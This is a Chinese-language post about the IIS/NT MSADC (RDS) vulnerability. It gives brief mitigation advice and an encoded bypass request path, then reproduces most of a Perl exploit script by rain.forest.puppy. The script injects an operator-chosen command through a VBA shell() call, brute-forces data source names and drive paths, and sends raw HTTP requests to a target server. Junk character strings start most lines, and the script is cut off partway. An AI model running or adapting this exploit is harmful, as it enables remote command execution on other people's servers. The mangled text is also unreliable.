IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
>/A]C$?3 ,>-j Ztm 涉及程序:
K83'`W^ Microsoft NT server
HV~Fe!J_ 9O 'j+?(`@ 描述:
>:-e 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
HEVjK$ ;U=b6xE 详细:
G[>NP#P 如果你没有时间读详细内容的话,就删除:
bG]0| c:\Program Files\Common Files\System\Msadc\msadcs.dll
1d< b\P0 有关的安全问题就没有了。
%6 *c40 Z<;W*6J 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
["D!IqI: D&):2F^9. 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
?h[HC"V/2 关于利用ODBC远程漏洞的描述,请参看:
8%K{l g" $U_(e:m}f http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm
(I$%6JO: rQ.zqr 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
o-=|}u]mz http://www.microsoft.com/security/bulletins/MS99-025faq.asp f8;?WSGyD2 }<^mUG 这里不再论述。
OInl?_,,T# (p5q MP]L 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
b&P)J|Fe
JQQ[jl; /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
,'0#q 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
v%:deaF
E<jajYj Lng. X8D #将下面这段保存为txt文件,然后: "perl -x 文件名"
GNJ/|9 M 2hZ' #!perl
un 5r9 #
A`uHZCwJ5 # MSADC/RDS 'usage' (aka exploit) script
iE'' >Z #
T_S3_-|{== # by rain.forest.puppy
v*!N}1+J #
K) }1; # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
WAxNQfEe # beta test and find errors!
X<,QSTP _8.TPB]no use Socket; use Getopt::Std;
\8xSfe getopts("e:vd:h:XR", \%args);
-yf8 "B{3q`( print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
Q'n+K5&p `PbY(6CF if (!defined $args{h} && !defined $args{R}) {
DO(};R%= print qq~
`^[k8Z( Usage: msadc.pl -h <host> { -d <delay> -X -v }
A;L
]=J -h <host> = host you want to scan (ip or domain)
tY;<S}[@7w -d <seconds> = delay between calls, default 1 second
0I.KHIBk -X = dump Index Server path table, if available
%j\&}>P4$ -v = verbose
t)&U'^ -e = external dictionary file for step 5
3Z";a o4" [{LyT Or a -R will resume a command session
1L!;lP2 !MKecRG_ ~; exit;}
m+!.H\ J!l/.:`6 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
DT`HS/~fH if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
;}SGJ7 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
M*0^<e~]F if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
q? "> $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
bh@Ct nO if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
:XhF:c[.: Es+I]o0K if (!defined $args{R}){ $ret = &has_msadc;
qj;i03 +@ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
=_`q;Tu=
b WNa6x print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Sh(ys*y> . "cmd /c ";
}>6e-]MHfR $in=<STDIN>; chomp $in;
rC!O}(4t%$ $command="cmd /c " . $in ;
VFf;|PHS M)#9Q=< if (defined $args{R}) {&load; exit;}
qob!AU| 6-|?ya
print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
ms0V1` &try_btcustmr;
}*(_JR4G tM]Gu?6 print "\nStep 2: Trying to make our own DSN...";
0;l~B &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
h}a}HabA mFTuqujO print "\nStep 3: Trying known DSNs...";
RFRXOyGz$ &known_dsn;
?xqS#^Z $l*?Ce: print "\nStep 4: Trying known .mdbs...";
)8C`EPe &known_mdb;
m538p.(LIR X|a{Z*y;r* if (defined $args{e}){
q~}oU5 print "\nStep 5: Trying dictionary of DSN names...";
7dY_b &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
6B8!}6Ojc .T3N"}7[ print "Sorry Charley...maybe next time?\n";
z0rYzn?MR exit;
cjN)3L{ F\r"Y)|b= ##############################################################################
v)Y)tu> K@7%i|H sub sendraw { # ripped and modded from whisker
)zxb]Pg+ sleep($delay); # it's a DoS on the server! At least on mine...
L(yUS)O my ($pstr)=@_;
MAYb.>X#> socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
D
\i]gfu8W die("Socket problems\n");
<q=Zg7zB if(connect(S,pack "SnA4x8",2,80,$target)){
`/[5/% select(S); $|=1;
:"Xnu%1 print $pstr; my @in=<S>;
Kzn1ct{65! select(STDOUT); close(S);
Zp/+F( return @in;
'!^7 *@z } else { die("Can't connect...\n"); }}
2L&c91=wE Z
01A~_ ##############################################################################
H[hJUR+# c?CD;Pk sub make_header { # make the HTTP request
rx9*/Q0F my $msadc=<<EOT
jVnTpa!A POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
8vuTF*{yZ User-Agent: ACTIVEDATA
o6A$)m5V Host: $ip
HVus\s\&y% Content-Length: $clen
MU$tX Connection: Keep-Alive
`vH|P T!,5dt8L ADCClientVersion:01.06
Bg),Q8\I Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
_]*YSeh= JxinfWk
--!ADM!ROX!YOUR!WORLD!
{?:]'c Content-Type: application/x-varg
i6HRG\9nU Content-Length: $reqlen
~qqxHymc e$s&B!qJ EOT
XnP?hw% ; $msadc=~s/\n/\r\n/g;
^"7-`<J return $msadc;}
8p 4[:M@ 1*p6UR& ##############################################################################
=
zmxki he~8V.$ sub make_req { # make the RDS request
$\ZWQct my ($switch, $p1, $p2)=@_;
z6U'"T"a my $req=""; my $t1, $t2, $query, $dsn;
4tkT\. !U%
|pa if ($switch==1){ # this is the btcustmr.mdb query
^>an4UJt $query="Select * from Customers where City=" . make_shell();
B]tj0FB`-* $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
/!0&b? $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
Xb:*
KeZq
x(HHy, elsif ($switch==2){ # this is general make table query
-ZE YzZqY $query="create table AZZ (B int, C varchar(10))";
qfXt%6L $dsn="$p1";}
.hH_1Mo8 l1T`[2 elsif ($switch==3){ # this is general exploit table query
Z$J-4KN
$query="select * from AZZ where C=" . make_shell();
4}DFCF%B $dsn="$p1";}
_OG9wi(Fpx )K?7(H/j elsif ($switch==4){ # attempt to hork file info from index server
02Vfg42 $query="select path from scope()";
R{c~jjd $dsn="Provider=MSIDXS;";}
=l:V9u-I^ !@lx|=# elsif ($switch==5){ # bad query
a!bW^?PcK $query="select";
6MM\nIU)/ $dsn="$p1";}
BR|0uJ.M i&H^xgm $t1= make_unicode($query);
j-BNHX $t2= make_unicode($dsn);
JL
G!;sov $req = "\x02\x00\x03\x00";
ifS#9N|8 $req.= "\x08\x00" . pack ("S1", length($t1));
%JDQ[%3qY $req.= "\x00\x00" . $t1 ;
ynw(wSH= $req.= "\x08\x00" . pack ("S1", length($t2));
=)Hu(;Yv $req.= "\x00\x00" . $t2 ;
9^DAlY,x. $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
w>*Jgc@A* return $req;}
YT?Lt!cl= WD\Yx~o ##############################################################################
m4~
|z _yAY5TIv sub make_shell { # this makes the shell() statement
T/ ECW return "'|shell(\"$command\")|'";}
HTQTDbhV^ 3!F^vZ. ##############################################################################
G~y:ZEnN[ OB9E30 sub make_unicode { # quick little function to convert to unicode
E+i(p+=4 my ($in)=@_; my $out;
8SRUqe[H] for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
fNi&r0/-t return $out;}
gOnZ# _'w:Sx?d7 ##############################################################################
,EHLW4v Ub
f5: sub rdo_success { # checks for RDO return success (this is kludge)
P<X? my (@in) = @_; my $base=content_start(@in);
Ba?1q%eG if($in[$base]=~/multipart\/mixed/){
! $mY.uu return 1 if( $in[$base+10]=~/^\x09\x00/ );}
m7i_Iv return 0;}
wtSU43D (<_kq;XtN0 ##############################################################################
dBA&NW07 ,gk'8] sub make_dsn { # this makes a DSN for us
.f0qgmIyL my @drives=("c","d","e","f");
hpXW tQ print "\nMaking DSN: ";
9IXy96]]6 foreach $drive (@drives) {
8nBYP+t,e print "$drive: ";
#Hr'plg
8 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
z&0[F`U "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
&Ih }" . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
,sSo\% $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
w tGS"L return 0 if $2 eq "404"; # not found/doesn't exist
g%=K
rO if($2 eq "200") {
qN1fWU#$ foreach $line (@results) {
cZ)JvU9] return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
H.|I|XRG/ } return 0;}
BegO\0%+ MR,I`9P e ##############################################################################
F&uiI;+zJ 8y5"X"U sub verify_exists {
#y: F3$c my ($page)=@_;
Zgh~7Z/ my @results=sendraw("GET $page HTTP/1.0\n\n");
" 4#&tNQ return $results[0];}
.n+
;&5 p4IyKry, ##############################################################################
@{RhO|UR 4tUoK[p sub try_btcustmr {
::{\O\w my @drives=("c","d","e","f");
z59;Qk my @dirs=("winnt","winnt35","winnt351","win","windows");
JtY$AP$ [xY-=-T*4 foreach $dir (@dirs) {
~q+AAWL print "$dir -> "; # fun status so you can see progress
UTE6U6 foreach $drive (@drives) {
4jDi3MMU9 print "$drive: "; # ditto
yw:%)b{ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
XM5)|D $reqlenlen=length( "$reqlen" );
(PH7nW7 $clen= 206 + $reqlenlen + $reqlen;
W=EcbH9/.) ;]xc}4@=mg my @results=sendraw(make_header() . make_req(1,$drive,$dir));
_)<5c! if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
uQbag]&j else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
;;i419 SVwxK/Fci ##############################################################################
DM v;\E~D bBML +0a sub odbc_error {
E>
pr})^w my (@in)=@_; my $base;
Z] r9lC my $base = content_start(@in);
jFg19C{=X if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
WFc4(Kl $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
>{(c\oMD $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
\nP79F0%2 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
o=94H7@ return $in[$base+4].$in[$base+5].$in[$base+6];}
(rJ-S"^u print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
yuC$S&Y>! print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
6d8)] $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
L"vk ^>E6 N/WtQSl ##############################################################################
}@6yROy.
j<)$ [v6 sub verbose {
GQ?FUFuIoW my ($in)=@_;
Ff>X='{ return if !$verbose;
>pZ_ print STDOUT "\n$in\n";}
"LDNkw' L' $\[~Ug ##############################################################################
?r(vXq\ &S